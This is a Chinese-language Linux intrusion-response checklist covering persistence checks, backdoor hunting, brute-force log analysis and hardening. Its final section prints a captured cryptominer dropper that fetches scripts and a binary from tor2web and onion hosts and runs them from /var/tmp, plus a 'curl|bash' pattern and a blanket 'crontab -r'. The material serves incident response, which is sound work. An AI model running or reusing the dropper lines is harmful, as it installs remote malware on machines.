入侵处理
首先,冷静,冷静,冷静。 重要的事情说三遍。
平复心态,开始逐步检查
如果条件允许最好临时关闭业务访问。
1. 检查恢复基础命令
- 通过md5sum检查关键命令是否被替换,或者直接拷贝一份命令到被入侵节点,ps、netstat、ss、lsof、top等等
2. 检查最近1天新增文件
find / -ctime 1
3. 检查异常进程
- 通常挖矿类的进程会占用大量的CPU,而肉鸡则通常会有大量网络连接请求
- 通过ps命令获取CPU占用率高的进程,
ps aux | sort -nrk 3,3 | head -n 5
- 获取内存TOP5进程,
ps aux --sort -rss | head -n 5
- 通过
lsof -p <PID>
命令可以查看异常进程使用的文件和网络连接,不过通常这类后门都是自删除的,获取不到后门程序的内容。
4. 复活点检查
通常这类程序基本Kill了,还是会通过各种姿势复活,一下是常见的复活方式
4.1 Crontab
Crontab 是最常见的,建议平时备份一下这个文件和目录,出现问题时直接批量替换,避免到时候逐个排查。
检查如下目录
/var/spool/cron/*
/etc/crontab
/etc/cron.d/*
/etc/cron.daily/*
/etc/cron.hourly/*
/etc/cron.monthly/*
/etc/cron.weekly/
/etc/anacrontab
/var/spool/anacron/*
清除所有用户下的计划任务(慎用)
# crontab -r
4.2 环境变量
这些环境变量文件,其实也都是一些脚本,在里面隐秘的调用一些命令例如curl 恶意脚本|bash,这排查起来真的是让人头疼。
~/.bashrc
~/.profile
~/.bash_aliases
/etc/profile
/etc/bash.bashrc
4.3 watchdog
一般来说有的恶意程序会有专门的watchdog,这类watchdog程序会负责定期检查恶意程序的运行情况,如果不存在了则再起复活恶意程序,这类watchdog程序的进程名称一般都非常的隐蔽
建议按照启动时间追个排查一遍,任何在入侵时间范围启动的进程都值得怀疑,我遇到一个watchdog程序,名字叫做-bash,如果不是启动时间太奇怪了,差点就漏掉了它。
ps -ef --sort=start_time
4.4 自启动
有可能恶意程序会通过系统自启动的方式实现复活,所以需要检查以下这两个地方
- rc.local
- init.d
rc.local还好检查,但是,init.d下的自启服务逐个排查起来真的是伤脑袋,所以最好有备份,在出现安全事故后直接替换就好了。
5. 后门检查
5.1 SSH 检查
- 检查
~/.ssh/authorized_keys
- 检查 SSHD程序和配置是否被篡改替换
5.2 检查 /etc/passwd、/etc/shadow、sudo
检查用户名密码文件中是否有可疑的用户,最好是避免系统服务器用户拥有登录shell的权限,以下命令是快速过滤出有登录shell功能的用户
# cat /etc/passwd|egrep 'x:0|sh$'
# awk -F: '$3==0{print $1}' /etc/passwd
检查sudo,除 root 帐号外,其他帐号是否存在 sudo 权限。如非管理需要,普通帐号应删除
# more /etc/sudoers | grep -v "^#|^$" | grep "ALL=(ALL)"
5.3 检查网络连接
有些后门会使用反向连接来保持持久访问,所以如果条件允许最好临时关闭业务访问,这样方便排查网络连接情况。不过不能停止业务也行,不过需要慢慢排查,如果那个连接一直处于ESTABLISHED状态,而且特征比较奇怪的需要多留心注意。
netstat -an|grep ESTABLISHED
6. 处理后思考
黑客是如何入侵进来的?
排除掉内鬼的因素,那么进来入侵点有以下几个
- 操作人员电脑被入侵或者服务器验证信息被黑客获取
- 利用对外暴露的服务漏洞入侵进来
- 利用业务上的漏洞,上传注入等提权入侵进来的
6.1 梳理服务
- 梳理系统运行的服务,仅运行必要的服务
- 对外暴露的服务满足需求的条件下,开放的范围越小越好,能监听业务网卡的就别0.0.0.0,能做白名单的接别全都放开,例如OpenSSH服务
6.2 规范用户
- 应用最小化权限运行,只赋予其用户最基本完成需求的权限
- 登录用户实名制,操作记录
6.3 备份管理
- 系统配置备份,/etc/
- 常用命令备份
6.4 历史命令配置调优
保存 1 万条命令
# sed -i 's/^HISTSIZE=1000/HISTSIZE=10000/g' /etc/profile
输出执行命令到单独历史文件
```
## 7 统一日志管理
1. 系统登录日志: Kibana Dashboard展示
2. 用户命令日志: Kibana Dashboard展示
3. 备份执行日志: Kibana Dashboard展示
#### 定位有多少IP在爆破主机的 root 帐号
* CentOS 6.x:/var/log/secure
* Ubuntu 14.04: /var/log/auth.log
grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more
#### 分析爆破字典
grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1
";}'|uniq -c|sort -nr
#### 分析成功的IP
grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more
grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'
# 后门脚本
## 矿机
```shell
root@VM-128-6-ubuntu:~# wget -qO- -U- https://ddgsdk6oou6znsdn.tor2web.io/i.sh||wget -qO- -U- http://ddgsdk6oou6znsdn.tor2web.me/i.sh||wget -qO- -U- https://ddgsdk6oou6znsdn.onion.pet/i.sh||wget -qO- -U- https://ddgsdk6oou6znsdn.onion.ws/i.sh
exec &>/dev/null
if ! ps -p $(< /tmp/.X11-lock); then
x=/var/tmp/.x
wget -qU- http://malwregafeg2fdjn.tor2web.me/.$(uname -m) -O$x;chmod 777 $x;$x;rm -f $x
fi
root@VM-128-6-ubuntu:/var/tmp# file x
x: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
root@VM-128-6-ubuntu:/var/tmp# stat x
File: ‘x’
Size: 198140 Blocks: 400 IO Block: 4096 regular file
Device: fd01h/64769d Inode: 274428 Links: 1
Access: (0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2018-10-26 09:31:05.000000000 +0800
Modify: 2018-01-01 08:00:00.000000000 +0800
Change: 2018-10-26 09:31:05.407446503 +0800
Birth: -